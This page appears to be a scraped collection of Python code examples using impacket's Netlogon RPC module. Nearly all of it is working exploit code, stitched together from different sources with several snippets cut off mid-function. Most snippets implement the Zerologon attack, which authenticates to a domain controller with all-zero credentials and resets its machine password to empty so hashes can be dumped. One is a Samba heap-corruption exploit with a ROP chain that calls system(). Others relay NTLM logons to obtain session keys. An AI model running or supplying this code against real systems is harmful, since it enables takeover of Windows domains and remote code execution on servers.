Beispiel #1
0
    def _set_up_request(request: nrpc.NetrServerPasswordSet2,
                        dc_name: str) -> None:
        authenticator = nrpc.NETLOGON_AUTHENTICATOR()
        authenticator["Credential"] = b"\x00" * 8
        authenticator["Timestamp"] = b"\x00" * 4

        request["AccountName"] = dc_name + "$\x00"
        request["ComputerName"] = dc_name + "\x00"
        request[
            "SecureChannelType"] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
        request["Authenticator"] = authenticator
def exploit(dc_handle, rpc_con, target_computer):
    request = nrpc.NetrServerPasswordSet2()
    request['PrimaryName'] = dc_handle + '\x00'
    request['AccountName'] = target_computer + '$\x00'
    request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
    authenticator = nrpc.NETLOGON_AUTHENTICATOR()
    authenticator['Credential'] = b'\x00' * 8
    authenticator['Timestamp'] = 0
    request['Authenticator'] = authenticator
    request['ComputerName'] = target_computer + '\x00'
    request['ClearNewPassword'] = b'\x00' * 516
    return rpc_con.request(request)
def try_zero_authenticate(dc_handle, dc_ip, target_computer):
    # Connect to the DC's Netlogon service.
    binding = epm.hept_map(dc_ip,
                           nrpc.MSRPC_UUID_NRPC,
                           protocol='ncacn_ip_tcp')
    rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
    rpc_con.connect()
    rpc_con.bind(nrpc.MSRPC_UUID_NRPC)

    # Use an all-zero challenge and credential.
    plaintext = b'\x00' * 8
    ciphertext = b'\x00' * 8

    # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
    flags = 0x212fffff

    # Send challenge and authentication request.
    nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00',
                                 target_computer + '\x00', plaintext)
    try:
        server_auth = nrpc.hNetrServerAuthenticate3(
            rpc_con, dc_handle + '\x00', target_computer + '$\x00',
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
            target_computer + '\x00', ciphertext, flags)
        #====This section will change machine password to null, can dump hashes without password =====
        #use impacket nrpc.py function.  This emulates MS NetrServerPasswordSet2() function
        newPassRequest = nrpc.NetrServerPasswordSet2()
        newPassRequest['PrimaryName'] = dc_handle + '\x00'
        newPassRequest['AccountName'] = target_computer + '$\x00'
        newPassRequest[
            'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
        auth = nrpc.NETLOGON_AUTHENTICATOR()
        auth['Credential'] = b'\x00' * 8
        auth['Timestamp'] = 0
        newPassRequest['Authenticator'] = auth
        newPassRequest['ComputerName'] = target_computer + '\x00'
        newPassRequest['ClearNewPassword'] = b'\x00' * 516
        rpc_con.request(newPassRequest)
        #=======End section========

        # It worked!
        assert server_auth['ErrorCode'] == 0
        return rpc_con

    except nrpc.DCERPCSessionError as ex:
        # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
        if ex.get_error_code() == 0xc0000022:
            return None
        else:
            fail(f'Unexpected error code from DC: {ex.get_error_code()}.')
    except BaseException as ex:
        fail(f'Unexpected error: {ex}.')
Beispiel #4
0
def try_zero_authenticate(dc_handle, dc_ip, target_computer):
    # Creates bind to the DC over RPC.
    binding = epm.hept_map(dc_ip,
                           nrpc.MSRPC_UUID_NRPC,
                           protocol='ncacn_ip_tcp')
    rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
    # Connects to RPC
    rpc_con.connect()
    # Creates bind to RPC
    rpc_con.bind(nrpc.MSRPC_UUID_NRPC)

    # Use an all-zero challenge and credential.
    plaintext = b'\x00' * 8  # 16 Bytes, or two hextets of Zero
    ciphertext = b'\x00' * 8  # 16 Bytes, or two hextets of Zero

    # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
    flags = 0x212fffff

    # Sends Server Challenge Request
    nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00',
                                 target_computer + '\x00', plaintext)
    try:
        #Attempts to Authenticate to the target Domain Controller and actually exploit Zero Logon
        server_auth = nrpc.hNetrServerAuthenticate3(
            rpc_con, dc_handle + '\x00', target_computer + '$\x00',
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
            target_computer + '\x00', ciphertext, flags)
        #If login is successful, begin the attempt to change the password
        #For more info see: https://github.com/SecureAuthCorp/impacket/blob/master/impacket/dcerpc/v5/nrpc.py
        newPassRequest = nrpc.NetrServerPasswordSet2()
        newPassRequest['PrimaryName'] = dc_handle + '\x00'
        newPassRequest['AccountName'] = target_computer + '$\x00'
        newPassRequest[
            'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
        auth = nrpc.NETLOGON_AUTHENTICATOR()
        auth['Credential'] = b'\x00' * 8
        auth['Timestamp'] = 0
        newPassRequest['Authenticator'] = auth
        newPassRequest['ComputerName'] = target_computer + '\x00'
        newPassRequest['ClearNewPassword'] = b'\x00' * 516
        #Triggers password reset
        rpc_con.request(newPassRequest)
        return rpc_con

    except nrpc.DCERPCSessionError as ex:
        # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
        if ex.get_error_code() == 0xc0000022:
            return None
        else:
            fail(f'Unexpected error code from DC: {ex.get_error_code()}.')
    except BaseException as ex:
        fail(f'Unexpected error: {ex}.')
 def __setaccountemptystring(self, rpc_con):
     request = nrpc.NetrServerPasswordSet2()
     request['PrimaryName'] = self.dc_handle + '\x00'
     request['AccountName'] = self.hostname + '$\x00'
     request[
         'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
     authenticator = nrpc.NETLOGON_AUTHENTICATOR()
     authenticator['Credential'] = b'\x00' * 8
     authenticator['Timestamp'] = 0
     request['Authenticator'] = authenticator
     request['ComputerName'] = self.hostname + '\x00'
     request['ClearNewPassword'] = b'\x00' * 516
     return rpc_con.request(request)
Beispiel #6
0
def getSessionKey(computer, domain, domainIP, hashes, serverName, authMessage) :

    print ("Connecting to NETLOGON service : Authenticating Server")
    stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % domainIP
    rpctransport = transport.DCERPCTransportFactory(stringBinding)
    ntHash = unhexlify(hashes.split(':')[1])
    rpctransport.set_credentials(computer,"",domain,"",ntHash)
    dce = rpctransport.get_dce_rpc()
    dce.connect()
    dce.bind(nrpc.MSRPC_UUID_NRPC)
    resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName +"\x00",'12345678')
    serverChallenge = resp['ServerChallenge']
    sessionKey = nrpc.ComputeSessionKeyStrongKey('','12345678',serverChallenge, ntHash)
    ppp = nrpc.ComputeNetlogonCredential('12345678',sessionKey)
    nrpc.hNetrServerAuthenticate3(dce, NULL, computer+"\x00",nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\x00', ppp, 0x600FFFFF)
    clientStoredCredential = pack('<Q', unpack('<Q',ppp)[0] + 10)

    #SamLogonWithFlags
    print "Forwarding NTLM Response to DC"
    request = nrpc.NetrLogonSamLogonWithFlags()
    request['LogonServer'] = '\x00'
    request['ComputerName'] = serverName + '\x00'
    request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4
    request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
    request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
    request['LogonInformation']['LogonNetworkTransitive']['Identity']['LogonDomainName']  = authMessage['domain_name'].decode('utf-16le')
    request['LogonInformation']['LogonNetworkTransitive']['Identity']['ParameterControl'] = 0
    request['LogonInformation']['LogonNetworkTransitive']['Identity']['UserName'] = authMessage['user_name'].decode('utf-16le')
    request['LogonInformation']['LogonNetworkTransitive']['Identity']['Workstation'] = ''
    request['LogonInformation']['LogonNetworkTransitive']['LmChallenge'] = 'AAAAAAAA' #challenge
    request['LogonInformation']['LogonNetworkTransitive']['NtChallengeResponse'] = authMessage['ntlm']
    request['LogonInformation']['LogonNetworkTransitive']['LmChallengeResponse'] = authMessage['lanman']
    authenticator = nrpc.NETLOGON_AUTHENTICATOR()
    authenticator['Credential'] = nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey)
    authenticator['Timestamp'] = 10
    request['Authenticator'] = authenticator
    request['ReturnAuthenticator']['Credential'] = '\x00'*8
    request['ReturnAuthenticator']['Timestamp'] = 0
    request['ExtraFlags'] = 0
    resp = dce.request(request)
    encryptedSessionKey = authMessage['session_key']
    sessionKey = generateEncryptedSessionKey(resp['ValidationInformation']['ValidationSam4']['UserSessionKey'], encryptedSessionKey)
    print "Retrieving Session Key from DC"
    return sessionKey
def try_zerologon(dc_handle, rpc_con, target_computer):
    """
    Authenticator: A NETLOGON_AUTHENTICATOR structure, as specified in section 2.2.1.1.5, that contains the encrypted
    logon credential and a time stamp.

        typedef struct _NETLOGON_AUTHENTICATOR {
           NETLOGON_CREDENTIAL Credential;
           DWORD Timestamp;
         }

    Timestamp:  An integer value that contains the time of day at which the client constructed this authentication
    credential, represented as the number of elapsed seconds since 00:00:00 of January 1, 1970.
    The authenticator is constructed just before making a call to a method that requires its usage.

        typedef struct _NETLOGON_CREDENTIAL {
            CHAR data[8];
        }

    ClearNewPassword: A NL_TRUST_PASSWORD structure, as specified in section 2.2.1.3.7,
    that contains the new password encrypted as specified in Calling NetrServerPasswordSet2 (section 3.4.5.2.5).

        typedef struct _NL_TRUST_PASSWORD {
            WCHAR Buffer[256];
            ULONG Length;
        }

    ReturnAuthenticator: A NETLOGON_AUTHENTICATOR structure, as specified in section 2.2.1.1.5,
    that contains the server return authenticator.

    More info can be found on the [MS-NRPC]-170915.pdf
    """
    request = nrpc.NetrServerPasswordSet2()
    request["PrimaryName"] = dc_handle + "\x00"
    request["AccountName"] = target_computer + "$\x00"
    request[
        "SecureChannelType"] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
    authenticator = nrpc.NETLOGON_AUTHENTICATOR()
    authenticator["Credential"] = b"\x00" * 8
    authenticator["Timestamp"] = 0
    request["Authenticator"] = authenticator
    request["ComputerName"] = target_computer + "\x00"
    request["ClearNewPassword"] = b"\x00" * 516
    return rpc_con.request(request)
Beispiel #8
0
def perform_attack(dc_handle, dc_ip, target_computer):
    # Keep authenticating until succesfull. Expected average number of attempts needed: 256.
    print('Performing authentication attempts...')
    rpc_con = None
    for attempt in range(0, MAX_ATTEMPTS):
        rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer)

        if rpc_con == None:
            print('=', end='', flush=True)
        else:
            break

    if rpc_con:
        print('\nSuccess! DC can be fully compromised by a Zerologon attack.')
        print('Trying to set empty password for DC computer password.')
        # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/14b020a8-0bcf-4af5-ab72-cc92bc6b1d81
        # use latest impacket: credits goes to @_dirkjan https://github.com/SecureAuthCorp/impacket/pull/951
        nrpc_Authenticator = nrpc.NETLOGON_AUTHENTICATOR()
        nrpc_Authenticator["Credential"] = b'\x00' * 8  # same as ciphertext
        nrpc_Authenticator["Timestamp"] = 0
        nrpc_Password = nrpc.NL_TRUST_PASSWORD()
        nrpc_Password['Buffer'] = b'\x00' * 516
        nrpc_Password['Length'] = '\x00' * 4
        request = nrpc.NetrServerPasswordSet2()
        request['PrimaryName'] = target_computer + '\x00'
        request['AccountName'] = target_computer + '$\x00'
        request['ComputerName'] = target_computer + '\x00'
        request['Authenticator'] = nrpc_Authenticator
        request['ClearNewPassword'] = nrpc_Password
        request[
            'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
        req = rpc_con.request(request)
        print("Success")
    else:
        print('\nAttack failed. Target is probably patched.')
        sys.exit(1)
Beispiel #9
0
 def getAuthenticator(self, creds=b'\x00' * 8, stamp=10):
     authenticator = nrpc.NETLOGON_AUTHENTICATOR()
     authenticator['Credential'] = creds
     authenticator['Timestamp'] = stamp
     return authenticator
Beispiel #10
0
dce.connect()
dce.bind(nrpc.MSRPC_UUID_NRPC)

###
# request for session key
###
#resp = nrpc.hNetrServerReqChallenge(dce, NULL, target + '\x00', '12345678')
#resp.dump()
#serverChallenge = resp['ServerChallenge']
#sessionKey = nrpc.ComputeSessionKeyStrongKey(password, '12345678', serverChallenge, None)
sessionKey = '\x00' * 16

###
# prepare ServerPasswordSet request
###
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
authenticator['Credential'] = nrpc.ComputeNetlogonCredential(
    '12345678', sessionKey)
authenticator['Timestamp'] = 10

uasNewPass = nrpc.ENCRYPTED_NT_OWF_PASSWORD()
uasNewPass['Data'] = '\x00' * 16

primaryName = nrpc.PLOGONSRV_HANDLE()
# ReferentID field of PrimaryName controls the uninitialized value of creds in ubuntu 12.04 32bit
primaryName.fields['ReferentID'] = 0x41414141

request = NetrServerPasswordSet()
request['PrimaryName'] = primaryName
request['AccountName'] = username + 'a\x00'
request[
Beispiel #11
0
    def netlogonSessionKey(self, authenticateMessageBlob):
        # Here we will use netlogon to get the signing session key
        logging.info("Connecting to %s NETLOGON service" %
                     self.serverConfig.domainIp)

        #respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
        authenticateMessage = NTLMAuthChallengeResponse()
        authenticateMessage.fromString(authenticateMessageBlob)
        _, machineAccount = self.serverConfig.machineAccount.split('/')
        domainName = authenticateMessage['domain_name'].decode('utf-16le')

        try:
            serverName = machineAccount[:len(machineAccount) - 1]
        except:
            # We're in NTLMv1, not supported
            return STATUS_ACCESS_DENIED

        stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.serverConfig.domainIp

        rpctransport = transport.DCERPCTransportFactory(stringBinding)

        if len(self.serverConfig.machineHashes) > 0:
            lmhash, nthash = self.serverConfig.machineHashes.split(':')
        else:
            lmhash = ''
            nthash = ''

        if hasattr(rpctransport, 'set_credentials'):
            # This method exists only for selected protocol sequences.
            rpctransport.set_credentials(machineAccount, '', domainName,
                                         lmhash, nthash)

        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(nrpc.MSRPC_UUID_NRPC)
        resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName + '\x00',
                                            b'12345678')

        serverChallenge = resp['ServerChallenge']

        if self.serverConfig.machineHashes == '':
            ntHash = None
        else:
            ntHash = bytes.fromhex(
                self.serverConfig.machineHashes.split(':')[1])

        sessionKey = nrpc.ComputeSessionKeyStrongKey('', b'12345678',
                                                     serverChallenge, ntHash)

        ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey)

        nrpc.hNetrServerAuthenticate3(
            dce, NULL, machineAccount + '\x00',
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,
            serverName + '\x00', ppp, 0x600FFFFF)

        clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10)

        # Now let's try to verify the security blob against the PDC

        request = nrpc.NetrLogonSamLogonWithFlags()
        request['LogonServer'] = '\x00'
        request['ComputerName'] = serverName + '\x00'
        request[
            'ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4

        request[
            'LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
        request['LogonInformation'][
            'tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'LogonDomainName'] = domainName
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'ParameterControl'] = 0
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'UserName'] = authenticateMessage['user_name'].decode('utf-16le')
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'Workstation'] = ''
        request['LogonInformation']['LogonNetworkTransitive'][
            'LmChallenge'] = self.serverChallenge
        request['LogonInformation']['LogonNetworkTransitive'][
            'NtChallengeResponse'] = authenticateMessage['ntlm']
        request['LogonInformation']['LogonNetworkTransitive'][
            'LmChallengeResponse'] = authenticateMessage['lanman']

        authenticator = nrpc.NETLOGON_AUTHENTICATOR()
        authenticator['Credential'] = nrpc.ComputeNetlogonCredential(
            clientStoredCredential, sessionKey)
        authenticator['Timestamp'] = 10

        request['Authenticator'] = authenticator
        request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
        request['ReturnAuthenticator']['Timestamp'] = 0
        request['ExtraFlags'] = 0
        # request.dump()
        try:
            resp = dce.request(request)
            # resp.dump()
        except DCERPCException as e:
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            logging.error(str(e))
            return e.get_error_code()

        logging.info(
            "%s\\%s successfully validated through NETLOGON" %
            (domainName, authenticateMessage['user_name'].decode('utf-16le')))

        encryptedSessionKey = authenticateMessage['session_key']
        if encryptedSessionKey != b'':
            signingKey = generateEncryptedSessionKey(
                resp['ValidationInformation']['ValidationSam4']
                ['UserSessionKey'], encryptedSessionKey)
        else:
            signingKey = resp['ValidationInformation']['ValidationSam4'][
                'UserSessionKey']

        logging.info("SMB Signing key: %s " % signingKey.hex())

        return STATUS_SUCCESS, signingKey
Beispiel #12
0
def update_authenticator(cSC, sK, timestamp):
    authenticator = nrpc.NETLOGON_AUTHENTICATOR()
    authenticator['Credential'] = b'\x00' * 8
    authenticator['Timestamp'] = timestamp
    return authenticator
Beispiel #13
0
def try_zero_authenticate(dc_handle, dc_ip, target_computer, originalpw):
    # Connect to the DC's Netlogon service.
    binding = epm.hept_map(dc_ip,
                           nrpc.MSRPC_UUID_NRPC,
                           protocol='ncacn_ip_tcp')
    rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
    rpc_con.connect()
    rpc_con.bind(nrpc.MSRPC_UUID_NRPC)

    plaintext = b'\x00' * 8
    ciphertext = b'\x00' * 8
    flags = 0x212fffff

    # Send challenge and authentication request.
    serverChallengeResp = nrpc.hNetrServerReqChallenge(
        rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
    serverChallenge = serverChallengeResp['ServerChallenge']
    try:
        server_auth = nrpc.hNetrServerAuthenticate3(
            rpc_con, dc_handle + '\x00', target_computer + "$\x00",
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
            target_computer + '\x00', ciphertext, flags)

        # It worked!
        assert server_auth['ErrorCode'] == 0
        print()
        server_auth.dump()
        print("server challenge", serverChallenge)
        sessionKey = nrpc.ComputeSessionKeyAES(
            None, b'\x00' * 8, serverChallenge,
            unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"))
        print("session key", sessionKey)

        try:
            IV = b'\x00' * 16
            #Crypt1 = AES.new(sessionKey, AES.MODE_CFB, IV)
            #serverCred = Crypt1.encrypt(serverChallenge)
            #print("server cred", serverCred)
            #clientCrypt = AES.new(sessionKey, AES.MODE_CFB, IV)
            #clientCred = clientCrypt.encrypt(b'\x00'*8)
            #print("client cred", clientCred)
            #timestamp_var = 10
            #clientStoredCred =  pack('<Q', unpack('<Q', b'\x00'*8)[0] + timestamp_var)
            #print("client stored cred", clientStoredCred)
            authenticator = nrpc.NETLOGON_AUTHENTICATOR()
            #authenticatorCrypt = AES.new(sessionKey, AES.MODE_CFB, IV)
            #authenticatorCred = authenticatorCrypt.encrypt(clientStoredCred);
            #print("authenticator cred", authenticatorCred)
            authenticator['Credential'] = ciphertext  #authenticatorCred
            authenticator['Timestamp'] = b"\x00" * 4  #0 # timestamp_var
            #request = nrpc.NetrLogonGetCapabilities()
            #request['ServerName'] = '\x00'*20
            #request['ComputerName'] = target_computer + '\x00'
            #request['Authenticator'] = authenticator
            #request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
            #request['ReturnAuthenticator']['Timestamp'] = 0
            #request['QueryLevel'] = 1
            #resp = rpc_con.request(request)
            #resp.dump()

            nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse
            nrpc.OPNUMS[6] = (NetrServerPasswordSet,
                              nrpc.NetrServerPasswordSetResponse)

            request = NetrServerPasswordSet()
            request['PrimaryName'] = NULL
            request['AccountName'] = target_computer + '$\x00'
            request[
                'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
            request['ComputerName'] = target_computer + '\x00'
            request["Authenticator"] = authenticator
            #request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
            #request['ReturnAuthenticator']['Timestamp'] = 0
            pwdata = impacket.crypto.SamEncryptNTLMHash(
                unhexlify(originalpw), sessionKey)
            request["UasNewPassword"] = pwdata
            resp = rpc_con.request(request)
            resp.dump()

            #request['PrimaryName'] = NULL
            #request['ComputerName'] = target_computer + '\x00'
            #request['OpaqueBuffer'] = b'HOLABETOCOMOANDAS\x00'
            #request['OpaqueBufferSize'] = len(b'HOLABETOCOMOANDAS\x00')
            #resp = rpc_con.request(request)
            #resp.dump()
        except Exception as e:
            print(e)
        return rpc_con

    except nrpc.DCERPCSessionError as ex:
        #print(ex)
        # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
        if ex.get_error_code() == 0xc0000022:
            return None
        else:
            fail(f'Unexpected error code from DC: {ex.get_error_code()}.')
    except BaseException as ex:
        fail(f'Unexpected error: {ex}.')
Beispiel #14
0
def try_restore_originalpw(dc_handle, dc_ip, target_computer, originalpw):
    # Connect to the DC's Netlogon service.
    binding = epm.hept_map(dc_ip,
                           nrpc.MSRPC_UUID_NRPC,
                           protocol='ncacn_ip_tcp')
    rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
    rpc_con.connect()
    rpc_con.bind(nrpc.MSRPC_UUID_NRPC)

    try:
        # Send challenge
        clientChallenge = os.urandom(8)
        serverChallengeResp = nrpc.hNetrServerReqChallenge(
            rpc_con, dc_handle + '\x00', target_computer + '\x00',
            clientChallenge)
        serverChallenge = serverChallengeResp['ServerChallenge']
        print("server challenge", serverChallenge)

        sessionKey = nrpc.ComputeSessionKeyAES(
            None, clientChallenge, serverChallenge,
            unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"))
        print("session key", sessionKey)

        clientCredential = AES.new(sessionKey,
                                   mode=AES.MODE_CFB,
                                   IV=b'\x00' * 16,
                                   segment_size=8).encrypt(clientChallenge)
        print("client credential", clientCredential)

        # Send authentication request
        flags = 0x212fffff
        server_auth = nrpc.hNetrServerAuthenticate3(
            rpc_con, dc_handle + '\x00', target_computer + "$\x00",
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
            target_computer + '\x00', clientCredential, flags)

        # It worked!
        assert server_auth['ErrorCode'] == 0
        print()
        server_auth.dump()

        clientStoredCred = clientCredential + b'\x00' * 4  # clientCredential + Timestamp
        authenticatorCrypt = AES.new(sessionKey,
                                     mode=AES.MODE_CFB,
                                     IV=b'\x00' * 16,
                                     segment_size=8).encrypt(clientStoredCred)
        authenticator = nrpc.NETLOGON_AUTHENTICATOR()
        authenticator['Credential'] = authenticatorCrypt[:8]
        authenticator['Timestamp'] = authenticatorCrypt[8:]

        nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse
        nrpc.OPNUMS[6] = (NetrServerPasswordSet,
                          nrpc.NetrServerPasswordSetResponse)

        request = NetrServerPasswordSet()
        request['PrimaryName'] = NULL
        request['AccountName'] = target_computer + '$\x00'
        request[
            'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
        request['ComputerName'] = target_computer + '\x00'
        request["Authenticator"] = authenticator
        pwdata = impacket.crypto.SamEncryptNTLMHash(unhexlify(originalpw),
                                                    sessionKey)
        request["UasNewPassword"] = pwdata
        resp = rpc_con.request(request)

        assert resp['ErrorCode'] == 0
        print()
        resp.dump()

        print('Success! Password hash restored: {}'.format(originalpw))
    except Exception as ex:
        fail(f'Unexpected error: {ex}.')
Beispiel #15
0
def get_authenticator(cred=b'\x00' * 8):
    authenticator = nrpc.NETLOGON_AUTHENTICATOR()
    authenticator['Credential'] = cred
    authenticator['Timestamp'] = 0
    return authenticator
def exploit(free_addr, pie=0, destructor=-1, step=0x80):
    pivot = pie + pivot_o
    pop4ret = pie + pop4ret_o
    popebx = pie + popebx_o
    got = pie + got_o
    fmt = pie + fmt_o
    system = pie + system_o
    snprintf = pie + snprintf_o
    bss = pie + bss_o

    if pie != 0:
        destructor = pivot
    # struct talloc_chunk {
    #     struct talloc_chunk *next, *prev;
    #     struct talloc_chunk *parent, *child;
    #     struct talloc_reference_handle *refs; // refs = 0
    #     talloc_destructor_t destructor; // destructor = -1: (No Crash), others: controled EIP
    #     const char *name;
    #     size_t size;
    #     unsigned flags; // magic
    #     void *poo
    # };
    talloc_chunk = l32(0)  # refs => 0
    talloc_chunk += l32(destructor)  # destructor => control EIP
    talloc_chunk += l32(pop4ret)  # pop4ret
    talloc_chunk += 'leet'  #
    talloc_chunk += l32(0xe8150c70)  # flags => magic

    # ebx => got
    rop = l32(popebx) + l32(got)
    # write cmd to bss
    for i in xrange(len(cmd)):
        c = cmd[i]
        rop += l32(snprintf) + l32(pop4ret)
        rop += l32(bss + i) + l32(2) + l32(fmt) + l32(ord(c))
    # system(cmd)
    rop += l32(system) + 'leet' + l32(bss)

    payload = 'deadbeef'
    payload += talloc_chunk * 0x1000 * step
    payload += 'leet' * 2
    payload += rop.ljust(2560, 'C')
    payload += 'cafebabe' + '\0'

    username = ''
    password = ''

    ###
    # impacket does not implement NetrServerPasswordSet
    ###
    # 3.5.4.4.6 NetrServerPasswordSet (Opnum 6)
    class NetrServerPasswordSet(NDRCALL):
        opnum = 6
        structure = (
            ('PrimaryName', nrpc.PLOGONSRV_HANDLE),
            ('AccountName', WSTR),
            ('SecureChannelType', nrpc.NETLOGON_SECURE_CHANNEL_TYPE),
            ('ComputerName', WSTR),
            ('Authenticator', nrpc.NETLOGON_AUTHENTICATOR),
            ('UasNewPassword', nrpc.ENCRYPTED_NT_OWF_PASSWORD),
        )

    class NetrServerPasswordSetResponse(NDRCALL):
        structure = (
            ('ReturnAuthenticator', nrpc.NETLOGON_AUTHENTICATOR),
            ('ErrorCode', NTSTATUS),
        )

    nrpc.OPNUMS[6] = (NetrServerPasswordSet, NetrServerPasswordSetResponse)

    ###
    # connect to target
    ###
    rpctransport = transport.DCERPCTransportFactory(
        r'ncacn_np:%s[\PIPE\netlogon]' % host)
    rpctransport.set_credentials('', '')  # NULL session
    rpctransport.set_dport(port)
    # impacket has a problem with SMB2 dialect against samba4
    # force to 'NT LM 0.12' only
    rpctransport.preferred_dialect('NT LM 0.12')

    dce = rpctransport.get_dce_rpc()
    dce.connect()
    dce.bind(nrpc.MSRPC_UUID_NRPC)

    sessionKey = '\x00' * 16

    ###
    # prepare ServerPasswordSet request
    ###
    authenticator = nrpc.NETLOGON_AUTHENTICATOR()
    authenticator['Credential'] = nrpc.ComputeNetlogonCredential(
        '12345678', sessionKey)
    authenticator['Timestamp'] = 10

    uasNewPass = nrpc.ENCRYPTED_NT_OWF_PASSWORD()
    uasNewPass['Data'] = payload

    primaryName = nrpc.PLOGONSRV_HANDLE()
    # ReferentID field of PrimaryName controls the uninitialized value of creds in ubuntu 12.04 32bit
    primaryName.fields['ReferentID'] = free_addr

    request = NetrServerPasswordSet()
    request['PrimaryName'] = primaryName
    request['AccountName'] = username + '\x00'
    request[
        'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel
    request['ComputerName'] = host + '\x00'
    request['Authenticator'] = authenticator
    request['UasNewPassword'] = uasNewPass

    DCERPCSessionError = nrpc.DCERPCSessionError
    try:
        resp = dce.request(request)
        print("no error !!! error code: 0xc0000225 or 0xc0000034 is expected")
        print("seems not vulnerable")
        # resp.dump()
        dce.disconnect()
        return 2
    except DCERPCSessionError as e:
        # expect error_code: 0xc0000225 - STATUS_NOT_FOUND
        # expect error_code: 0xc0000034 - STATUS_OBJECT_NAME_NOT_FOUND
        print("seems not vulnerable")
        # resp.dump()
        dce.disconnect()
        return 2
    except impacket.nmb.NetBIOSError as e:
        # print 'exception occured'
        if e.args[0] == 'Error while reading from remote':
            # print("connection lost!!!\nmight be vulnerable")
            return 1
        else:
            raise
    except AttributeError:
        # print("exception")
        return 0
def try_zero_authenticate(dc_handle, dc_ip, target_computer, originalpw):
    # 连接到DC的Netlogon服务。
    binding = epm.hept_map(dc_ip,
                           nrpc.MSRPC_UUID_NRPC,
                           protocol='ncacn_ip_tcp')
    rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
    rpc_con.connect()
    rpc_con.bind(nrpc.MSRPC_UUID_NRPC)

    plaintext = b'\x00' * 8
    ciphertext = b'\x00' * 8
    flags = 0x212fffff

    # 发送challenge和证书请求包。
    serverChallengeResp = nrpc.hNetrServerReqChallenge(
        rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
    serverChallenge = serverChallengeResp['ServerChallenge']
    try:
        server_auth = nrpc.hNetrServerAuthenticate3(
            rpc_con, dc_handle + '\x00', target_computer + "$\x00",
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
            target_computer + '\x00', ciphertext, flags)

        # worked!
        assert server_auth['ErrorCode'] == 0
        print()
        server_auth.dump()
        print("server challenge", serverChallenge)
        sessionKey = nrpc.ComputeSessionKeyAES(
            None, b'\x00' * 8, serverChallenge,
            unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"))
        print("session key", sessionKey)

        try:
            IV = b'\x00' * 16
            authenticator = nrpc.NETLOGON_AUTHENTICATOR()
            authenticator['Credential'] = ciphertext  #authenticatorCred
            authenticator['Timestamp'] = b"\x00" * 4  #0 # 时间戳

